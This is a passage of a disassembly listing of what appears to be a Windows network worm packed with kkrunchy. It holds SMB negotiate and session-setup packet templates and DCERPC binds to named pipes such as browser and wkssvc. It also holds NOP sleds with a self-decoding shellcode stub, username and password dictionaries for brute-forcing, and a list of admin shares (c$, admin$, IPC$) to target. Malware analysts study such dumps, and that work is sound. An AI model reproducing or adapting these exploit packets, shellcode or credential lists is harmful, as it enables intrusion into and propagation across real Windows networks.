		db 3 dup(0)
		dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh
		dd 10h,	0
dword_415FF4	dd 34EEA51Bh, 0		; DATA XREF: kkrunchy:0040C6BAo
dword_415FFC	dd 12400h, 0		; DATA XREF: kkrunchy:0040C774o
a3333		db '3333',0             ; DATA XREF: kkrunchy:0040C714o
		align 4
aCccc		db 'CCCC',0             ; DATA XREF: kkrunchy:0040C6CCo
		align 4
dword_416014	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: kkrunchy:0040C7ECo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4160A0	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: kkrunchy:0040C824o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
dword_41614C	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: kkrunchy:0040C852o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_41622C	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: kkrunchy:0040C885o
		dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_41626C	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: kkrunchy:0040C8BEo
		dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h,	0
dword_4162D0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: kkrunchy:0040C8ECo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_416374	dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: kkrunchy:0040C937o
		dd 3900800h, 3C1D0800h,	1C000010h, 0E0040003h, 0FFh, 2 dup(0)
		dd 1C004A00h, 2004A03h,	2600h, 5C032340h, 45504950h, 5005Ch
		dd 100300h, 31C0000h, 0
		dd 3040000h, 0
		dd 4221001Fh, 184E8h, 0
		dd 10000h, 0
		dd 1630000h, 0
		dd 1630000h, 0
dword_4163FC	dd 0			; DATA XREF: kkrunchy:0040C9B0o
		dd 0D7h, 1, 0
		dd 1, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		align 10h
dword_416420	dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: kkrunchy:0040CA10o
		dd 1C80800h, 7CC90800h,	80000010h, 0E0040004h, 0FFh, 2 dup(0)
		dd 80004A00h, 2004A04h,	2600h, 5C048740h, 45504950h, 5005Ch
		dd 100300h, 4800000h, 0
		dd 4680000h, 0
		dd 72B3001Fh, 1A381h, 0
		dd 10000h, 0
		dd 2150000h, 0
		dd 2150000h, 0
dword_4164A8	dd 0			; DATA XREF: kkrunchy:0040CA7Ao
		dd 85h,	2, 0
		dd 2, 2EBh, 85h, 2 dup(0)
dword_4164CC	dd 20804h, 0		; DATA XREF: kkrunchy:0040C982o
					; kkrunchy:0040CA5Bo
dword_4164D4	dd 2080Ah, 0		; DATA XREF: kkrunchy:0040C977o
dword_4164DC	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_40CAA1+4Eo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_1	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_1	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_416568	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40CAA1+9Do
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_1:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_2:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
		dd 0
dword_416614	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40CAA1+D5o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
		dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4166F4	dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40CAA1+11Do
		dd 0FEFF0000h, 300800h,	5A00FF04h, 1000800h, 2F00h, 0
dword_416728	dd 3F3F0000h, 3F3F3Fh, 0 ; DATA	XREF: sub_40CAA1+15Fo
dword_416734	dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40CAA1+1DAo
		dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h,	0
		dd 2019Fh, 4 dup(0)
		dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h,	720065h
		dd 0
dword_4167A0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40CAA1+21Fo
		dd 4780800h, 500800h, 48000010h, 0
		dd 10h,	2 dup(0)
		dd 48005400h, 2005400h,	2600h, 5940h, 50005Ch, 500049h
		dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
		dd 0
		dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_416844	dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40CAA1+280o
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		db 8 dup(90h)
; ---------------------------------------------------------------------------
		jmp	short loc_41690E
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_416916
; ---------------------------------------------------------------------------


loc_41690E:				; CODE XREF: kkrunchy:00416904j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah


loc_416916:				; CODE XREF: kkrunchy:0041690Cj
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 9090767Ah
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_416965
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------


loc_416965:				; CODE XREF: kkrunchy:0041695Bj
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
dword_416978	dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40CAA1:loc_40CD28o
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		db 8 dup(90h)
; ---------------------------------------------------------------------------
		jmp	short loc_416A42
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_416A4A
; ---------------------------------------------------------------------------


loc_416A42:				; CODE XREF: kkrunchy:00416A38j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah


loc_416A4A:				; CODE XREF: kkrunchy:00416A40j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		jns	short near ptr word_416ABA
		add	[ecx], eax
		jmp	short loc_416A8A
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
		db 2 dup(90h)
; ---------------------------------------------------------------------------


loc_416A8A:				; CODE XREF: kkrunchy:00416A80j
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_416A99
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------


loc_416A99:				; CODE XREF: kkrunchy:00416A8Fj
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
dword_416AAC	dd 7E0h, 4, 0		; DATA XREF: sub_40CAA1+2B9o
		db 2 dup(0)
word_416ABA	dw 0			; CODE XREF: kkrunchy:00416A7Cj
		align 10h
dword_416AC0	dd 0D0EC8166h, 7	; DATA XREF: sub_40CEBE+D9o
dword_416AC8	dd 129F74h, 0		; DATA XREF: sub_40CEBE+380o
dword_416AD0	dd 127D78h, 0		; DATA XREF: sub_40CEBE+3E5o

; =============== S U B	R O U T	I N E =======================================



sub_416AD8	proc near		; DATA XREF: sub_40CEBE+10Bo

; FUNCTION CHUNK AT 00416ADE SIZE 00000049 BYTES

		pusha
		jmp	short loc_416ADE
sub_416AD8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416ADB	proc near		; CODE XREF: sub_416AD8:loc_416ADEp
		pop	ebx
		push	ebx
		retn
sub_416ADB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_416AD8


loc_416ADE:				; CODE XREF: sub_416AD8+1j
		call	sub_416ADB
		xor	eax, eax
		add	al, 34h
		add	eax, ebx
		push	eax
		pop	ebx


loc_416AEB:				; CODE XREF: sub_416AD8+3Cj
		xor	edx, edx
		add	dl, [eax]
		inc	eax
		add	dh, [eax]
		inc	eax
		push	eax
		xor	eax, eax
		add	al, 41h
		sub	dl, al
		sub	dh, al
		shl	dl, 4
		shr	dx, 4
		xor	eax, eax
		xor	dh, dh
		add	al, [ebx]
		sub	[ebx], al
		add	[ebx], dx
		inc	ebx
		pop	eax
		xor	ecx, ecx
		add	cl, [eax]
		loopne	loc_416AEB
		popa


loc_416B17:				; DATA XREF: sub_40CEBE+EAr
		add	[ebx+31h], al


loc_416B1A:				; DATA XREF: sub_40CEBE+E4r
		mov	ebp, 7FC77h


loc_416B1F:				; DATA XREF: sub_40CEBE:loc_40D1D9r
					; sub_40CEBE+348r ...
		add	[ecx], al
		inc	ebx


loc_416B22:				; CODE XREF: sub_416AD8+4Cj
		xor	eax, eax
		ja	short loc_416B22
		pop	es
; END OF FUNCTION CHUNK	FOR sub_416AD8
; ---------------------------------------------------------------------------
		db 0
		dd 4F020100h, 7E7655Bh,	0
		dd 195h
dword_416B38	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: sub_40CEBE+2CDo
dword_416B4C	dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h,	0
					; DATA XREF: sub_40CEBE+29Eo
dword_416B60	dd 65706970h, 736B775Ch, 637673h ; DATA	XREF: sub_40CEBE+236o
dword_416B6C	dd 24637069h, 0		; DATA XREF: sub_40CEBE+1DFo
dword_416B74	dd 73255C5Ch, 5Ch	; DATA XREF: sub_40CEBE+1CCo
					; sub_40CEBE+223o
dword_416B7C	dd 2Eh			; DATA XREF: sub_40CEBE+1AFo
dword_416B80	dd 73255C5Ch, 0		; DATA XREF: sub_40CEBE+18Fo
dword_416B88	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D42D+ADo
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_416BD4	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_40D42D+F2o
; ---------------------------------------------------------------------------


loc_416BF0:				; DATA XREF: sub_40D42D+124o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_416C04	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_40D42D+14Do
a5000		db '5000',0             ; DATA XREF: sub_40D42D+28o
		align 10h
byte_416C20	db 90h			; DATA XREF: sub_40D5A8+1Er
					; sub_40D5A8+49r ...
dword_416C21	dd 0			; DATA XREF: sub_40D5A8+77r
		db 9Eh,	2 dup(0)
		dd 0F50000h, 0F8000000h, 0
		dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h
		dd 1400000h, 41000000h,	4, 842h, 24300h, 40450000h, 46000000h
		dd 10h,	2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h
		dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h
		dd 9, 393h, 419500h, 11960000h,	97000000h, 21h,	999h, 0
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOemuser	; "oemuser"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aGuest	; "guest"
		dd offset aNone		; "none"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aGod		; "god"
		dd offset aDomain	; "domain"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aData		; "data"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aMain		; "main"
		dd offset aLan_0	; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aOwner	; "owner"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
		dd offset aC_0		; "c$"
		dd offset aD		; "d$"
		dd offset aE		; "e$"
		dd offset aCShared	; "c$\\shared"
		dd offset aDShared	; "d$\\shared"
		dd offset aEShared	; "e$\\shared"
		dd offset aCWinnt	; "c$\\winnt"
		dd offset aCWindows	; "c$\\windows"
		dd offset aCWinntSystem32 ; "c$\\winnt\\system32"
		dd offset aCWindowsSystem ; "c$\\windows\\system32"
		dd offset aAdminSystem32 ; "Admin$\\system32"
		dd offset aAdmin_0	; "admin$"
		dd offset aCDocumentsAndS ; "C$\\Documents and Settings\\All Users\\Doc"...
		dd offset aPrint	; "print$"
		dd offset aIpc		; "IPC$"
		dd 0
		dd offset byte_4191D0
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aA_0		; "a"
		dd offset aAb		; "ab"
		dd offset aAbc		; "abc"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aDba		; "dba"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset aWork		; "work"
		dd offset aDeadline	; "deadline"
		dd offset aPayday	; "payday"
		dd offset aSecret	; "secret"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset aTest		; "test"
		dd offset aGuest	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aNull		; "null"
		dd offset aTemp		; "temp"
		dd offset aTemp123	; "temp123"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aSex		; "sex"
		dd offset aLetmein	; "letmein"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aMoney	; "money"
		dd offset aLove		; "love"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp_0		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan_0	; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aOwner	; "owner"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
aWinpass	db 'winpass',0          ; DATA XREF: kkrunchy:0041707Co
aBlank		db 'blank',0            ; DATA XREF: kkrunchy:00417078o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: kkrunchy:0041706Co
		align 4
aNokia		db 'nokia',0            ; DATA XREF: kkrunchy:00417068o
		align 10h
aHp		db 'hp',0               ; DATA XREF: kkrunchy:00417064o
		align 4
aOrainstall	db 'orainstall',0       ; DATA XREF: kkrunchy:00417048o
		align 10h
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: kkrunchy:00417044o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: kkrunchy:00417038o
		align 4
aDb2		db 'db2',0              ; DATA XREF: kkrunchy:00417034o
aDb1		db 'db1',0              ; DATA XREF: kkrunchy:00417030o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: kkrunchy:0041702Co
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: kkrunchy:00417024o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: kkrunchy:00417020o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: kkrunchy:0041701Co
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: kkrunchy:00417010o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: kkrunchy:0041700Co
		align 4
aHello		db 'hello',0            ; DATA XREF: kkrunchy:00417004o
		align 10h
aHell		db 'hell',0             ; DATA XREF: kkrunchy:00417000o
		align 4
aLove		db 'love',0             ; DATA XREF: kkrunchy:00416FFCo
		align 10h
aMoney		db 'money',0            ; DATA XREF: kkrunchy:00416FF8o
		align 4
aSlut		db 'slut',0             ; DATA XREF: kkrunchy:00416FECo
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: kkrunchy:00416FE8o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: kkrunchy:00416FE4o
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: kkrunchy:00416FE0o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: kkrunchy:00416FD4o
		align 4
aLogin		db 'login',0            ; DATA XREF: kkrunchy:00416FD0o
		align 10h
aQwe		db 'qwe',0              ; DATA XREF: kkrunchy:00416F6Co
aZxc		db 'zxc',0              ; DATA XREF: kkrunchy:00416F68o
aAsd		db 'asd',0              ; DATA XREF: kkrunchy:00416F64o
aQaz		db 'qaz',0              ; DATA XREF: kkrunchy:00416F60o
aWin2000	db 'win2000',0          ; DATA XREF: kkrunchy:00416F5Co
aWinnt		db 'winnt',0            ; DATA XREF: kkrunchy:00416F58o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: kkrunchy:00416F54o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: kkrunchy:00416F50o
		align 10h
aWin98		db 'win98',0            ; DATA XREF: kkrunchy:00416F4Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: kkrunchy:00416F48o
aOeminstall	db 'oeminstall',0       ; DATA XREF: kkrunchy:00416F40o
		align 4
aOem		db 'oem',0              ; DATA XREF: kkrunchy:00416F38o
aAccounting	db 'accounting',0       ; DATA XREF: kkrunchy:00416F28o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: kkrunchy:00416F24o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: kkrunchy:00416F20o
aSex		db 'sex',0              ; DATA XREF: kkrunchy:00416F1Co
					; kkrunchy:00416FF0o
aOutlook	db 'outlook',0          ; DATA XREF: kkrunchy:00416F0Co
aMail		db 'mail',0             ; DATA XREF: kkrunchy:00416F08o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: kkrunchy:00416F04o
		align 4
aTemp123	db 'temp123',0          ; DATA XREF: kkrunchy:00416F00o
aTemp		db 'temp',0             ; DATA XREF: kkrunchy:00416EFCo
		align 4
aNull		db 'null',0             ; DATA XREF: kkrunchy:00416EF8o
		align 4
aDefault	db 'default',0          ; DATA XREF: kkrunchy:00416EE8o
aChangeme	db 'changeme',0         ; DATA XREF: kkrunchy:00416EE4o
		align 4
aDemo		db 'demo',0             ; DATA XREF: kkrunchy:00416ED4o
		align 10h
aTest		db 'test',0             ; DATA XREF: kkrunchy:00416EC8o
		align 4
a2005		db '2005',0             ; DATA XREF: kkrunchy:00416EC4o
		align 10h
a2004		db '2004',0             ; DATA XREF: kkrunchy:00416EC0o
		align 4
a2001		db '2001',0             ; DATA XREF: kkrunchy:00416EB4o
		align 10h
aSecret		db 'secret',0           ; DATA XREF: kkrunchy:00416EACo
		align 4
aPayday		db 'payday',0           ; DATA XREF: kkrunchy:00416EA8o
		align 10h
aDeadline	db 'deadline',0         ; DATA XREF: kkrunchy:00416EA4o
		align 4
aWork		db 'work',0             ; DATA XREF: kkrunchy:00416EA0o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: kkrunchy:00416E9Co
		align 10h
a123456789	db '123456789',0        ; DATA XREF: kkrunchy:00416E98o
		align 4
a12345678	db '12345678',0         ; DATA XREF: kkrunchy:00416E94o
		align 4
a1234567	db '1234567',0          ; DATA XREF: kkrunchy:00416E90o
a123456		db '123456',0           ; DATA XREF: kkrunchy:00416E8Co
